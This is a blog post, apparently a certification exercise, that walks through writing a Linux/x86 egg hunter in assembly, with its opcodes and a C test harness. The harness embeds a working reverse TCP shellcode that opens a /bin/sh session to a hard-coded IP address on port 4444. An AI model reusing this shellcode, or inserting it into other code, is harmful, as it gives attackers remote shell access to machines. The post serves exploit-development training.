SLAE: Writing simple Egg Hunter

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

The task is to:

  • Study about egghunter
  • Create a working demo of the egghunter
  • Should be configurable for different payloads

What is egghunter?

The detailed description of egghunting can be found here. This post also based on this whitepaper.

I’ll try to describe the main concepts here briefly.

Egg hunting is a technique that allows us to use small shellcode to find main BIG shellcode. It is very useful when buffer size is too small to place entire shellcode there.

To write our egg hunter we will use access system call. Using of this syscall can help us to encounter invalid memory address. When syscall encounters an invalid memory address, it returns EFAULT error code. And this information allows our egg hunter to safely traverse the process VAS (Virtual Address Space) .

Let’s start

We will use access syscall: int access(const char *pathname, int mode);

Syscall reference can be found here:

Sample image

access syscall number is 21.

Firstly we will point ebx to our egg:

mov ebx,0x50905090

Then we will zero out eax, ecx and edx registers:

xor ecx, ecx
mul ecx

The next two instructions will perform a page alignment operation on the current pointer. Bitwise or of the current pointer (stored in edx register) and then incrementing edx by one. This two operations is like adding 0x1000 to the value in edx.

next_page:
    or dx, 0xfff
searching_egg:
    inc edx

The next operation is:

pusha

This operation pushes ЕАХ, ЕСХ, EDX, ЕВХ, ESP, EBP, ESI, EDI register values to the stack for future use.

ebx register will store the pointer to be validated plus 4. Why plus 4? Cause it allows us to eight bytes to be validated at once.

lea ebx, [edx + 4]

In the next step we will move system call number to the eax register:

mov al, 0x21
int 0x80

Then we should compare value in eax register with the 0xf2,which represents the low byte of the EFAULT return value.

cmp al,0xf2

Now we should pop register values from the stack.

popa

If value of eax register equals to 0xf2 which means that we have no access to this page, our egghuter will jump to next_page function.

jz next_page

If we have access to this page and there is no EFAULT we will compare the pointer and our egg we are searching for.

cmp [edx], ebx

If they don’t match, the implementation jumps to the inc edx instruction which simply goes to the next address in the current page.

jnz searching_egg

If the egg matches with the content of the pointer in edx it will compare content of the pointer in edx + 4 with the egg.

cmp [edx+0x4],ebx

If they don’t match it will jump again to searching_egg.

jnz searching_egg

Otherwise the egg is found!

jmp edx

Big picture

That’s how our egghunter implementation looks like:

;Linux/x86 egghunter
;by Anton Ostrokonskiy @ostrokonskiy
;SLAE-924

global _start

section .text
_start:
mov ebx,0x50905090
xor ecx, ecx
mul ecx

next_page:
    or dx, 0xfff

searching_egg:
    inc edx

pusha

lea ebx, [edx + 4]
mov al, 0x21
int 0x80

cmp al,0xf2
popa
jz next_page
cmp [edx], ebx
jnz searching_egg
cmp [edx+0x4],ebx
jnz searching_egg
jmp edx

Let’s compile it!

nasm -f elf32 -o egghunter.o egghunter.nasm

ld -o egghunter egghunter.o

objdump -d egghunter -M intel

Let’s extract the opcodes:

objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

That’s it:

"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"

As a main shellcode we will use our old reverse_tcp shellcode from the previous assignment:

"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

We will use shellcode.c template:

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";

unsigned char shellcode[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Egghunter Length:  %d\n", strlen(egghunter));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

Let’s compile it and RUN!

gcc shellcode.c -z execstack
./a.out

And it works:

Sample image